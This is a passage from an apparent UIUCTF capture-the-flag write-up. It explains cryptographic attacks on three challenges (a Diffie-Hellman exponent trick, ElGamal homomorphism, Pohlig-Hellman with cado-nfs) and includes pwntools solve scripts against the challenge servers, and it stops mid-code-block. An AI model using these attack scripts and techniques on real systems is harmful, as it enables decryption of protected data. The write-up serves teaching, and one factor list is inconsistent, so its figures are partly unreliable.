    <span class="n">Ak</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">B</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="n">Bk</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">B</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="n">S</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">Bk</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>

    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">S</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="mi">16</span><span class="p">)),</span> <span class="s">"big"</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Ciphertext using shared 'secret' ;)"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">c</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">return</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>For this challenge, the server is performing something like a three-party diffi-hellman key exchange, where there are two party that provides $g^a % p$ and $g^b % p$, and you provide a $c$. The secret is then calculated from $g^{abc} % p$. Now the objective is to use c to control the output of the secret such that we can recover the message.</p>

<p>There are different approaches. One initial idea might be to let $c = 0$. This way, the secret becomes $g^{ab\times 0} = g^0 = 1$, and we can derive the key ourselves. And this approach indeed works for <code class="language-plaintext highlighter-rouge">group project</code> since there are no check against this. However, for <code class="language-plaintext highlighter-rouge">group projection</code>, this approach is blocked and we need some other ways to derive the key.</p>

<p>First, we’ll need some background on <a href="https://en.wikipedia.org/wiki/Fermat%27s_little_theorem">Fermat’s little theorem</a>.</p>

<p>| Fermat’s little theorem states that if p is a prime number, then for any integer a, the number a $a^{p}-a$ is an integer multiple of p. In the notation of modular arithmetic, this is expressed as  $a^{p} \equiv a \mod{p}$,</p>

<p>In other words</p>

\[a^{p-1} \equiv 1 \mod{p}\]

<p>Therefore, when we are finding a large power of a number under modulo, we can take the modulo on the exponents as well in the following way.</p>

\[g^{abc} \equiv g^{(abc \mod{p-1})} \mod{p}\]

<p>This means that if $p-1\vert abc$, $g^{abc} \equiv g^{0} \equiv 1 \mod{p}$</p>

<p>Now the challenge also forbid us from sending $p-1$ or $\frac{p-1}{2}$ as input. But lets say we supply $\frac{p-1}{3}$, if by random chance either $a$ or $b$ contains 3 as a factor, the resulting $abc$ will divide $p-1$, then the key will be fixed to 1. There is also a chance that 3 is not a factor of p-1, then this strategy won’t work, and we need to skip those cases. The probably overall is $(1/3)(1-(1-1/3)^2) =5/27$, so if we just send a couple requests, we should get the flag. And indeed this works.</p>

<p>Flag -</p>

<p>(group project): <code class="language-plaintext highlighter-rouge">uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}</code></p>

<p>(group projection): <code class="language-plaintext highlighter-rouge">uiuctf{brut3f0rc3_w0rk3d_b3f0r3_but_n0t_n0w!!11!!!}</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span><span class="p">,</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">sage.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>

<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="k">def</span> <span class="nf">solve</span><span class="p">():</span>
    <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc group-projection.chal.uiuc.tf 1337"</span>
    <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">G</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">"g ="</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    <span class="n">P</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">"p ="</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    <span class="n">A</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">"A ="</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    <span class="k">print</span><span class="p">(</span><span class="n">G</span><span class="p">,</span> <span class="n">P</span><span class="p">,</span> <span class="n">A</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">P</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
        <span class="k">return</span> <span class="bp">False</span>

    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">((</span><span class="n">P</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">//</span><span class="mi">3</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

    <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
    <span class="n">c</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">"c ="</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>

    <span class="k">print</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

    <span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="mi">1</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span>
    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">)</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">return</span> <span class="sa">b</span><span class="s">"uiuctf{"</span> <span class="ow">in</span> <span class="n">flag</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="k">while</span> <span class="ow">not</span> <span class="n">solve</span><span class="p">():</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Attempting"</span><span class="p">)</span>

<span class="c1">#uiuctf{brut3f0rc3_w0rk3d_b3f0r3_but_n0t_n0w!!11!!!}
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="morphing-time">Morphing Time</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>The all revealing Oracle may be revealing a little too much...

nc morphing.chal.uiuc.tf 1337

Author: Anakin
Solves: 140
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="morphing_chal_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-morphing_chal_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#morphing_chal_py-content" aria-expanded="true" aria-controls="morphing_chal_py-content">
         <p>Show chal.py</p>
 
      </button>
    </p>
    <div id="morphing_chal_py-content" class="accordion-collapse collapse" aria-labelledby="hd-morphing_chal_py" data-bs-parent="#morphing_chal_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">randint</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">().</span><span class="n">strip</span><span class="p">(),</span> <span class="s">"big"</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">setup</span><span class="p">():</span>
    <span class="c1"># Get group prime + generator
</span>    <span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
    <span class="n">g</span> <span class="o">=</span> <span class="mi">2</span>

    <span class="k">return</span> <span class="n">g</span><span class="p">,</span> <span class="n">p</span>


<span class="k">def</span> <span class="nf">key</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">p</span><span class="p">):</span>
    <span class="c1"># generate key info
</span>    <span class="n">a</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">A</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">a</span><span class="p">,</span> <span class="n">A</span>


<span class="k">def</span> <span class="nf">encrypt_setup</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">A</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">encrypt</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
        <span class="n">k</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
        <span class="n">c1</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
        <span class="n">c2</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">k</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
        <span class="n">c2</span> <span class="o">=</span> <span class="p">(</span><span class="n">m</span> <span class="o">*</span> <span class="n">c2</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>

        <span class="k">return</span> <span class="n">c1</span><span class="p">,</span> <span class="n">c2</span>

    <span class="k">return</span> <span class="n">encrypt</span>


<span class="k">def</span> <span class="nf">decrypt_setup</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span> <span class="n">c2</span><span class="p">):</span>
        <span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
        <span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
        <span class="n">m</span> <span class="o">=</span> <span class="p">(</span><span class="n">c2</span> <span class="o">*</span> <span class="n">m</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span>

        <span class="k">return</span> <span class="n">m</span>

    <span class="k">return</span> <span class="n">decrypt</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Welcome to Morphing Time"</span><span class="p">)</span>

    <span class="n">g</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
    <span class="n">a</span> <span class="o">=</span> <span class="n">randint</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="n">A</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="n">decrypt</span> <span class="o">=</span> <span class="n">decrypt_setup</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">encrypt_setup</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">A</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Public:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">g</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">p</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">A</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="n">c1</span><span class="p">,</span> <span class="n">c2</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Eavesdropped Message:"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">c1</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">c2</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Give A Ciphertext (c1_, c2_) to the Oracle:"</span><span class="p">)</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">c1_</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"[$]     c1_ = "</span><span class="p">)</span>
        <span class="n">c1_</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">c1_</span><span class="p">)</span>
        <span class="k">assert</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="n">c1_</span> <span class="o">&lt;</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span>

        <span class="n">c2_</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"[$]     c2_ = "</span><span class="p">)</span>
        <span class="n">c2_</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">c2_</span><span class="p">)</span>
        <span class="k">assert</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="n">c2_</span> <span class="o">&lt;</span> <span class="n">p</span> <span class="o">-</span> <span class="mi">1</span>
    <span class="k">except</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"!! You've Lost Your Chance !!"</span><span class="p">)</span>
        <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"[$] Decryption of You-Know-What:"</span><span class="p">)</span>
    <span class="n">m</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">((</span><span class="n">c1</span> <span class="o">*</span> <span class="n">c1_</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">,</span> <span class="p">(</span><span class="n">c2</span> <span class="o">*</span> <span class="n">c2_</span><span class="p">)</span> <span class="o">%</span> <span class="n">p</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[$]     </span><span class="si">{</span><span class="n">m</span> <span class="o">=</span> <span class="si">}</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># !! NOTE !!
</span>    <span class="c1"># Convert your final result to plaintext using
</span>    <span class="c1"># long_to_bytes
</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>If we look at the source code, we know that we’re dealing with an elgamal encryption. The privillege we have is being able to “modify” the cipher texts by multiplying some number. Let’s dig deeper into how elgamal encrypts a message. First, we generates the public parameters $g$ and $p$. We then generate a key pair $a, A$, where $A \equiv g^a \mod{p}$. $A$ is then distributed along with the public parameters as the public key, and a is kept as the private key. This encryption relays on the security of the discrete log problem, where it’s hard to find $a$ give $A$.</p>

<p>To encrypt a message, the sender first choose a random number $k$. The sender then calculate two number $c_1 \equiv g^k \mod{p}$ and $c_2 \equiv m \times A^k \mod{p}$. Notice that the second equation expands to</p>

\[\begin{align}
c_2 &amp;\equiv m \times (g^{a})^{k} &amp;\mod{p}\\ 
c_2 &amp;\equiv m \times g^{ak} &amp;\mod{p}\\ 
c_2 &amp;\equiv m \times (g^{k})^{a} &amp;\mod{p}\\ 
c_2 &amp;\equiv m \times c_{1}^{a} &amp;\mod{p}\\ 
\end{align}\]

<p>Therefore, since the reciever knows $a$, they can simply multiply $c_2$ by the inverse of $c_1^a$ to get back the message.</p>

<p>Now what’s the attack here? Notice the random number $k$, what would happen if we choose a different random number, lets say $k’ = k+1$, what would the encrypted message be like now?</p>

\[\begin{align}
c_1' &amp;\equiv g^{k'} &amp;\mod{p}\\ 
&amp;\equiv g^{k+1} &amp;\mod{p}\\ 
&amp;\equiv g^{k}\times g &amp;\mod{p}\\ 
&amp;\equiv c_1 \times g &amp;\mod{p}\\ 
\\ 
c_2' &amp;\equiv m \times A^{k'} &amp;\mod{p}\\ 
&amp;\equiv m \times A^{k+1} &amp;\mod{p}\\ 
&amp;\equiv m \times A^{k} \times A &amp;\mod{p}\\ 
&amp;\equiv c_2 \times A &amp;\mod{p}\\ 
\end{align}\]

<p>Which is a different, equally valid, encryption of the original message. This property is call homomorphism. In this case, we learn that elgamal is homomorphic under multiplication. Hence the name morphing time.</p>

<p>To solve this challenge, if we submit (g, A) as (c1_, c2_), the server will decrypt the flag for us, and we simply need to convert that back to bytes.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="rouge-code"><pre>from Crypto.Util.number import long_to_bytes, bytes_to_long
from sage.all import *

from pwn import *
nc_str = "nc morphing.chal.uiuc.tf 1337"
_, host, port = nc_str.split(" ")
p = remote(host, int(port))

p.recvline()
p.recvline()
p.recvline()
G = int(p.recvline().split(b"g =")[-1])
P = int(p.recvline().split(b"p =")[-1])
A = int(p.recvline().split(b"A =")[-1])
print(G, P, A)
p.recvline()
c1 = int(p.recvline().split(b"c1 =")[-1])
c2 = int(p.recvline().split(b"c2 =")[-1])

p.sendline(str(G))
p.sendline(str(A))

p.recvuntil("Decryption")
p.recvline()
m = int(p.recvline().split(b"m =")[-1])

print(long_to_bytes(m))
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="crack-the-safe">Crack The Safe</h3>

<h4 id="overview-1">Overview</h4>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>I found this safe, but something about it seems a bit off - can you crack it?

Author: Anakin
Solves: 62
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">key</span><span class="p">,</span> <span class="n">FLAG</span>

<span class="n">p</span> <span class="o">=</span> <span class="mi">4170887899225220949299992515778389605737976266979828742347</span>
<span class="n">ct</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">"ae7d2e82a804a5a2dcbc5d5622c94b3e14f8c5a752a51326e42cda6d8efa4696"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">crack_safe</span><span class="p">(</span><span class="n">key</span><span class="p">):</span>
    <span class="k">return</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="s">'big'</span><span class="p">),</span> <span class="n">p</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759</span>

<span class="k">assert</span> <span class="n">crack_safe</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="ow">and</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span><span class="n">AES</span><span class="p">.</span><span class="n">MODE_ECB</span><span class="p">).</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">)</span> <span class="o">==</span> <span class="n">FLAG</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is a really short challenge and not a lot of code to read through. Essentially we need to solve the discrete log problem to find the key such that</p>

\[7^{key} \equiv \mathtt{0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759} \mod{p}\]

<p>We can first verify that p is a prime number. Typically, DLP under finite field is consider a hard problem. However, the difficulty of the DLP problem is bounded by the largest prime factor of the order of the finite field. Let’s check the factors of the order, which is p-1 in this case. It turns out that p-1 is smooth, which means that the largest prime factor of p-1 is relatively small.</p>

\[\begin{align}
&amp;4170887899225220949299992515778389605737976266979828742347 \\ 
&amp;= 2 \times 19 \times 151 \times 577 \times 67061 \times 18279232319 \times  11154337669 \times 9213409941746658353293481 \\ 
\end{align}\]

<p>Even the largest factor, 9213409941746658353293481, is only 83 bits long. This calls for a Pohlig-Hellman attack.</p>

<h4 id="pohlig-hellman-attack">Pohlig-Hellman Attack</h4>

<p>What is a Pohlig-Hellman Attack though? According to <a href="https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm">Wikipedia</a>, it is a way to break down a large DLP problem into multiple smaller sub-problems, then combine the result using chinese reminder theorm (CRT). The rough idea is as follows. Given a group $\mathbb{G}$ with order $p$, where $p$ is not a prime, and we want to find $x$ such that $g^x = k$</p>

<ol>
  <li>We know that after $p$ operation, the cycle loop back to itself. i.e. $k^p = 1$ for any k.</li>
  <li>Let’s take a factor $e$ and let $t = p/e$, if we pre-compute $g_0 = g^t$, then we know $g_0^e = 1$ as $t \times e = p$</li>
  <li>This tells us that $g_0$ actually forms a smaller group with group order $e$. If we transfor g and k into element of this smaller group, it will be easier to find the solution. This solution is of course incomplete, but we will gain some information related to x.</li>
  <li>
    <p>In particular, the tranformation takes $g_0 = g^t$ and $k_0 = k^t$, and solve for the equation $g_0^{x_0} = k_0$, we can observe the following equation.</p>

\[\begin{align}
g^x &amp;= k \\ 
(g^x)^t &amp;= k^t \\
g_0^{x_0} = (g^t)^{x_0} &amp;= k^t \\  
xt &amp;\equiv tx_0 \mod{p}\\ 
x &amp;\equiv x_0  \mod{\frac{p}{t}} \qquad \because t \vert p \ ^{*1}  \\
x &amp;\equiv x_0  \mod{e} \\ 
\end{align}\]

    <p>*1: Note that I’m not sure if this holds, but it make sense =D</p>
  </li>
  <li>After we gather all the reminder from the various factors, we can use CRT to reconstruct $x$ from all the $x_0$</li>
</ol>

<p>When I’m initially learning a bout pohlig-hellman attack, <a href="https://l0z1k.com/pohlig_hellman_attack">this blog</a> that applies this attack on elliptic curve cryptography helped me a lot. I get to understand how the attack works more intuiatively. If you want more detailed description on the attack, this will be a great resource along with the wiki page.</p>

<h4 id="cado-nfs">Cado-nfs</h4>

<p>Even though we can split the problem down into small chunks, we still need to deal with each smaller pieces. All the factors except the last one is relatively easy to tackle, as the built in sage discrete log function solves them quite easily. The last one is still problematic though. From some previous experience (i.e. GoogleCTF2023 - cursved), I know that cado-nfs is a good tool for solving dlp of size less than around 250 bits. I need to search around a little bit and found <a href="https://github.com/cado-nfs/cado-nfs">the official cado-nfs repo</a>. Just follow the steps to install it.</p>

<p>Reading the user manual, we learn that the –dlp option allows us to find the discrete log of a number, but to a “random” base $b$, so $b^{x} \equiv a \mod b$. That’s totally fine, as we can do a change of base algorithm to switch to any log base. 
$log_a(b) = log_c(b) / log_c(a)$</p>

<p>To use cado-nfs, we will first need to know that number we need to take the discrete log with. A short python script gives as the value.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>p = 4170887899225220949299992515778389605737976266979828742347
k = 0x49545b7d5204bd639e299bc265ca987fb4b949c461b33759

p_fs = [2, 19, 151, 577, 67061, 18279232319, 111543376699, 9213409941746658353293481]
e = p_fs[-1]
t = (p-1) // ell

print(pow(7, t, p))
print(pow(k, t, p))
# crack_the_safe$ python pre.py
#  2874921958440504604797627466936335381864476070281841795223
#  243520888574004127020636437512040223299982667282493152276
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Then we run the following commands:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
